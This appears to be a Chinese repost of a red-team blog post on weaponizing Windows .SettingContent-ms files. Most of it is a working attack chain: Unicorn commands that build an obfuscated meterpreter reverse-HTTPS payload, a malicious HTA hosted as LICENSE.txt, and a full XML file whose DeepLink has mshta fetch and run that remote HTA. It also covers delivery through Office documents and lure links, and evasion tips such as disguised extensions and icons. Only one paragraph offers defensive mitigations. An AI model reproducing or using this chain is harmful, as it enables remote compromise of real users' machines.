内容简介:最近,Matt Nelson(以下是Matt博文中的几个关键发现:
最近,Matt Nelson( @engima0x3 )发表了一篇关于利用.SettingContent-ms文件进行代码执行的文章。这篇文章很精彩,因为作为攻击者,我们经常需要从不同的系统上找到多种执行任意代码的方式。本文基于Matt研究的基础,实现在远程系统上进行代码执行。
以下是Matt博文中的几个关键发现:
- 微软宣称可能不会修复该漏洞。
- 可以直接利用浏览器执行任意代码攻击。
- 可以嵌入到Office文档中,并且可以在没有宏的情况下直接执行任意代码。
- 在Microsoft Office目录中生成子进程,可以绕过使用白名单目录机制的Microsoft’s Attack Surface Reduction (ASR) 。
作为攻击者,上述这些将非常吸引我们,因为我们通常尝试寻找新的方法来攻破系统,而不是使用传统的方法(例如使用宏,HTA等)。Matt已经在研究绕过ASR并进行命令执行方面做了大量研究工作。
最近工作中,我们正在进行red team测试的的客户系统拥有一定的攻击检测能力,而Matt的博文对我们的实际模拟测试提供了及时的帮助。在过去,DDE Auto等其他传统攻击发现一旦被公开,攻击者就会迅速将这些攻击技术进行武器化( https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ )。我们曾经在24小时内就看到了使用DDE进行攻击的攻击向量。
我决定看一下Matt的研究,看看是否可以快速地将它武器化。Matt一直利用calc.exe(通常用于演示命令/代码执行)进行演示,而并没有将它武器化。首先,我决定先利用Unicorn( https://github.com/trustedsec/unicorn )看看是否可以执行经过混淆的攻击载荷(payload)。
先使用Unicorn快速生成了一个meterpreter shell,并复制粘贴到Matt的概念证明(POC)中进行测试,用powershell.exe替换cmd.exe:
git clone https://github.com/trustedsec/unicorn cd unicorn python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443
这将创建一个混淆的PowerShell有效载荷(payload),并将其导出到powershell_attacks.txt:
图1 – 混淆的PowerShell代码
在将生成的PowerShell字符串插入.SettingContent-ms文件并执行时,似乎<DeepLink></DeepLink>字段出错:
图2 – 由于长字符串导致出错
在对DeepLink字段进行一番研究后,我注意到DeepLink字段允许的最大字符长度(包括路径和所有内容)是517个字符。虽然这对于我们的有效载荷(payload)来说已经是一个很大的空间,但这意味着在这个攻击向量中使用更大的有效载荷(payload)就不行了。
有许多可以在517个字符内获得代码执行的方式。在接下来的示例中,我们将使用“mshta.exe”这种常见的二进制攻击方式进行攻击。MSHTA位于Microsoft支持的每个操作系统上,并且具有从命令行远程下载和执行HTA文件的能力。我们可以使用许多其他方式,例如nps_payload( https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/ ),certutil( https://twitter.com/subtee/status/889173356284530688?lang=en ),或其他方法。HTA很简单,您无需指定“hta”扩展名,因为大多数时候使用扩展名进行攻击会被阻断。
首先,我们先利用Unicorn创建支持HTA的payload,看看我们是否可以获得代码执行。
我们需要先生成恶意的HTA文件,切换到unicorn目录并输入以下命令:
python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443 hta cp hta_attack/Launcher.hta /var/www/html/LICENSE.txt service apache2 start
运行完Unicorn后,会生成适当的HTA文件。以下是运行Unicorn的截图:
图3 – 运行Unicorn生成payload
然后我们复制HTA文件并将其重命名为LICENSE.txt。在大多数情况下,如果事件应急人员正在排查恶意文件,有可能会忽略扩展名为.txt的文件。此外,如果这是一个真实模拟攻击,您可能希望使用HTTPS并使用合法且高信誉的域名来躲避蓝队(blue team)。
最后,我们启动Apache来托管恶意的HTA文件。
以下是Unicorn输出的恶意/混淆HTA的示例:
图4 – Unicorn的输出
接下来,我们创建一个包含指向我们恶意HTA(LICENSE.txt)URL的Test.SettingContent-ms文件:
<?xml version="1.0" encoding="UTF-8"?> <PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> <DeepLink>%windir%system32mshta.exe http://172.16.37.164/LICENSE.txt</DeepLink> <Icon>%windir%system32control.exe</Icon> </ApplicationInformation> <SettingIdentity> <PageID></PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> </SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161</Description> <Keywords>@shell32.dll,-4161</Keywords> </SettingInformation> </SearchableContent> </PCSettings>
保存并双击文件后,我们就可以获得一个shell!
图5 – Meterpreter成功进行 Shell 访问
攻击成功!显然,在这个例子中我们使用了Metasploit,但是这几乎可以用于任何你想用的payload。MSHTA只是远程下载并且能在517的字符大小限制内执行代码的一个示例。另外,您可以轻松地将这些内容嵌入到Office文档中并将其发送出去,一旦对方打开,您就可以攻破对方电脑。您还可以在网站上托管这些扩展类型,并诱使用户单击链接。如果你想变得狡猾,改变图标和其他东西可能会有所帮助。下面是一个简单的站点,其中包含下载和执行的链接(只是一个普通的链接):
图6 – 带链接的简单站点
注意,下载的是托管的SettingContent-ms文件。一旦打开,它将以类似的方式攻破系统。
对于防御者而言,最好且最简单的做法就是阻止系统从外部加载.SettingContent-ms类型的文件(阻止基于Web的攻击),或者在下载或执行任何文件时弹出告警。此外,可以将.SettingContent-ms的文件关联类型更改为记事本或其他不执行代码的软件。
如果你想要一个自动化攻击的工具,我已经写了一个auto_settingcontent-ms.py的快速工具,它会自动为你创建Metasploit有效载荷(payload),HTA文件和Test.SettingContent-ms文件。这假设您已经安装了Metasploit,Python和Apache。请注意,这只是一个例子,还有很多其他方法,这只是一个简单的POC。
要运行,首先从github克隆auto_settingcontent-ms,然后运行它:
git clone https://github.com/trustedsec/auto_SettingContent-ms cd auto_SettingContent-ms
一旦下载完脚本,我们就可以运行它并生成我们的文件。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py
这是一个简单的脚本,它将生成一个.SettingContent-ms文件,该文件可用于在系统上执行命令/代码。该文件可以嵌入到Office文档中,也可以托管在网站上并诱使受害者点击来获得代码执行。这只是一个结合Metasploit使用的POC。你可以使用任何你想使用的payload,在这个例子中我们使用windows/meterpreter/reverse_https。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py Credit to: Matt Nelson (@enigma0x3) from SpecterOps Great read here: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Written by: David Kennedy (@HackingDave, @TrustedSec) Version 0.1 Enter the reverse shell IP address: 192.168.5.5 Enter the port for the reverse shell: 443 Cloning into 'unicorn'... remote: Counting objects: 340, done. remote: Total 340 (delta 0), reused 0 (delta 0), pack-reused 340 Receiving objects: 100% (340/340), 163.94 KiB | 0 bytes/s, done. Resolving deltas: 100% (215/215), done. Checking connectivity... done. [*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode... [*] Exported Test.SettingContent-ms to this folder. Moved over LICENSE.txt (malicious HTA) and setup the SettingContent-ms to point to the Apache server hosting this under /var/www/html [*] To launch the Metasploit listener, run msfconsole -r unicorn.rc root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms#
从GitHub下载Auto_SettingContent-MS脚本
特别感谢Matt Nelson在SpecterOps上的出色工作以及通过特定扩展类型获得代码执行能力的示例。
参考文献:
来自Matt Nelson的原帖.SettingContent-ms: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
以上所述就是小编给大家介绍的《武器化:利用.SettingContent-ms文件执行任意代码》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Web Development Recipes
Brian P. Hogan、Chris Warren、Mike Weber、Chris Johnson、Aaron Godin / Pragmatic Bookshelf / 2012-1-22 / USD 35.00
You'll see a full spectrum of cutting-edge web development techniques, from UI and eye candy recipes to solutions for data analysis, testing, and web hosting. Make buttons and content stand out with s......一起来看看 《Web Development Recipes》 这本书的介绍吧!